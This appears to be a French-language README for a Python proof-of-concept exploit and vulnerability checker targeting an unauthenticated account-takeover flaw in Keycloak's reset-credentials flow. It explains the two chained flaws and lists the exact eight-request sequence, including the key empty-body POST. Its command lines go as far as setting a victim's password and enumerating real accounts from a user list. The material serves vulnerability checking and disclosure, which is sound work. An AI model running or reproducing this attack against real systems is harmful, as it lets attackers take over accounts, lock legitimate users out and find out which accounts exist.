
Preuve de concept et vérificateur de vulnérabilité pour CVE-2026-18963, une prise de contrôle de compte non authentifiée dans le flux reset-credentials de Keycloak. Python en fichier unique, composant navigateur Playwright en option.
Une preuve de concept et un vérificateur de vulnérabilité pour le contournement du flux de réinitialisation des identifiants (reset-credentials) de Keycloak, avec un composant navigateur optionnel qui affiche l'état résultant dans une véritable fenêtre Chrome.
L'outil est un fichier unique, cve_2026_18963_poc.py, écrit avec la bibliothèque standard de Python. Playwright est la seule dépendance tierce et il est importé de manière différée, de sorte que la partie HTTP s'exécute sur un interpréteur standard sans rien d'installé.
cve_2026_18963_poc.py 1009 lines, Python 3.10 or newer
Crédit. CVE-2026-18963 a été signalée à Red Hat par James Paremain, qui est crédité dans l'avis du fournisseur. Orevim n'a pas découvert ni signalé cette vulnérabilité. Ce dépôt est une preuve de concept indépendante écrite à partir de l'avis publié.
CVE-2026-18963 est un contournement d'authentification dans le flux de mot de passe oublié de Keycloak. Il s'agit de deux défauts agissant ensemble.
La note non délimitée. Lorsqu'un utilisateur ouvre l'écran de sélection d'authentificateur,
Keycloak écrit une note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED dans la
session d'authentification. La note est un simple booléen. Elle enregistre qu'un
écran de sélection a été affiché, pas quelle exécution l'a affiché. La note
survit à l'exécution qui l'a définie.
Le gestionnaire non protégé. ResetCredentialEmail.action() définit emailVerified
sur l'utilisateur résolu et appelle success() sans vérifier le jeton d'action
que le lien envoyé par e-mail est censé porter. La méthode suppose qu'elle ne peut être
atteinte qu'en suivant ce lien.
Enchaînés, un appelant non authentifié définit la note contre l'exécution du nom d'utilisateur,
fait avancer le flux pour que l'exécution de l'e-mail devienne courante, puis
réaccède à l'URL de réinitialisation. La note obsolète fait que l'écran de sélection s'affiche
lié à l'exécution de l'e-mail. Envoyer un corps vide à l'loginAction de cette exécution
invoque directement le gestionnaire non protégé. Le flux avance vers
l'action requise UPDATE_PASSWORD sans qu'aucun e-mail n'ait été lu.
| Identifiant | CVE-2026-18963, GHSA-4gv3-mc9p-5wqc |
| Classe | CWE-640, mécanisme faible de récupération de mot de passe pour mot de passe oublié |
| CVSS v3.1 | 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Affecté | >= 26.0.0, < 26.4.15, >= 26.5.0, < 26.6.6, >= 26.7.0, < 26.7.2 |
| Corrigé dans | 26.4.15, 26.6.6, 26.7.2. La branche 26.8.0 est livrée avec le correctif |
| Paquet | org.keycloak:keycloak-services (Maven) |
| Publié le | 18 août 2026 |
| Signalé par | James Paremain, crédité dans l'avis Red Hat |
La seule condition préalable est que le realm propose la récupération de mot de passe aux utilisateurs non authentifiés. Aucun identifiant, jeton ou session préalable n'est requis.
Huit requêtes, dans l'ordre. Les balises correspondent aux libellés d'étape imprimés par l'outil et aux
noms de fichiers qu'il écrit sous --out.
| # | Balise | Méthode | Ce qu'elle fait |
|---|---|---|---|
| 1 | login | GET | URL d'autorisation. Établit la session d'authentification et fournit le lien de réinitialisation. |
| 2 | reset | GET | Page de réinitialisation des identifiants. Contient le formulaire de nom d'utilisateur. |
| 3 | tryanother | POST | tryAnotherWay=on. Écrit la note non délimitée. |
| 4 | username | POST | L'identifiant. Fait avancer le flux pour que l'exécution de l'e-mail devienne courante. Envoie un e-mail de récupération si l'identifiant est résolu. |
| 5 | reenter | GET | À nouveau l'URL de réinitialisation. La note obsolète fait que le sélecteur s'affiche lié à l'exécution de l'e-mail. |
| 6 | action | POST | Corps vide vers l'loginAction de cette exécution. Invoque le gestionnaire non protégé. |
| 7 | required-action | GET | Suit le Location vers la page UPDATE_PASSWORD. |
| 8 | setpassword | POST | Le nouveau mot de passe. Envoyé uniquement avec --set-password. |
L'étape 6 est l'exploit, et le corps vide est essentiel. Envoyer
authenticationExecution=<id> à la place correspond à l'interaction ordinaire du sélecteur : cela
change d'exécution et renvoie l'e-mail de récupération, ce qui n'atteint jamais le
défaut. Le POST vide ne répond à aucun défi, donc Keycloak appelle le gestionnaire pour
l'exécution que la note obsolète a laissée courante.
# Decide whether the instance is affected. Changes nothing, sends no mail.
./cve_2026_18963_poc.py --url https://sso.example.com --realm demo \
--client-id account-console --check
# Additionally report which identifiers resolve to a real account.
# Resolving accounts receive a recovery email. See the note below.
./cve_2026_18963_poc.py --url https://sso.example.com --realm demo \
--client-id account-console --check --users-file names.txt --rate 0.25
# Reach the set-password form for one account and stop there.
./cve_2026_18963_poc.py --url https://sso.example.com --realm demo \
--client-id account-console --username [email protected]
# Complete the takeover. This locks the account holder out.
./cve_2026_18963_poc.py --url https://sso.example.com --realm demo \
--client-id account-console --username [email protected] \
--set-password 'N3w-passw0rd!'
--check sonde avec un identifiant aléatoire de la forme
<16 hex>@<8 hex>.invalid. Le TLD .invalid est réservé par la RFC 2606 et
ne peut pas être résolu, donc la sonde ne peut pas entrer en collision avec un
compte réel et ne peut pas provoquer l'envoi de courrier. Elle établit le statut
du build sans toucher à personne.
L'ajout de
--userschange cela. L'étape 4 est la soumission ordinaire de mot de passe oublié. Sur un realm avec SMTP configuré, un identifiant qui correspond à un utilisateur disposant d'une adresse e-mail reçoit un véritable e-mail de récupération de mot de passe, aussi bien sur les builds affectés que corrigés. La sonde nue ne le fait pas, carResetCredentialEmail.authenticate()n'envoie rien lorsque l'utilisateur est null. Traitez--check --userscomme un flux qui notifie de vraies personnes et confirmez qu'il relève de votre autorisation avant de l'exécuter.
L'outil classe selon la réponse à l'étape 6, le POST vide.
| Réponse | Résultat | Signification |
|---|---|---|
| 400 | account-absent | Le handler s'est exécuté sans jeton d'action et n'a résolu aucun utilisateur. Le build est affecté. |
302 avec Location | form-reached | Le handler s'est exécuté et le compte est résolu. Affecté, et cet identifiant est réel. |
| Tout autre cas | not-vulnerable | Le POST vide n'a pas progressé. |
| Aucun sélecteur à l'étape 5 | not-vulnerable | La note obsolète n'a pas été honorée. |
| 302 après l'étape 8 | password-set | Le mot de passe a été modifié et le realm a émis une session. |
| 429 au-delà du budget de tentatives | rate-limited | Aucun verdict. L'exécution s'est arrêtée. |
| Un négatif atteint après une quelconque limitation de débit | inconclusive | Voir ci-dessous. |
Le 400 est le plus important. Il sépare le build est affecté de ce compte
existe, ce qui permet à --check d'établir l'exposition face à une instance
sans énumérer un seul utilisateur réel. La résolution des identifiants est
ensuite une question distincte, à activer explicitement.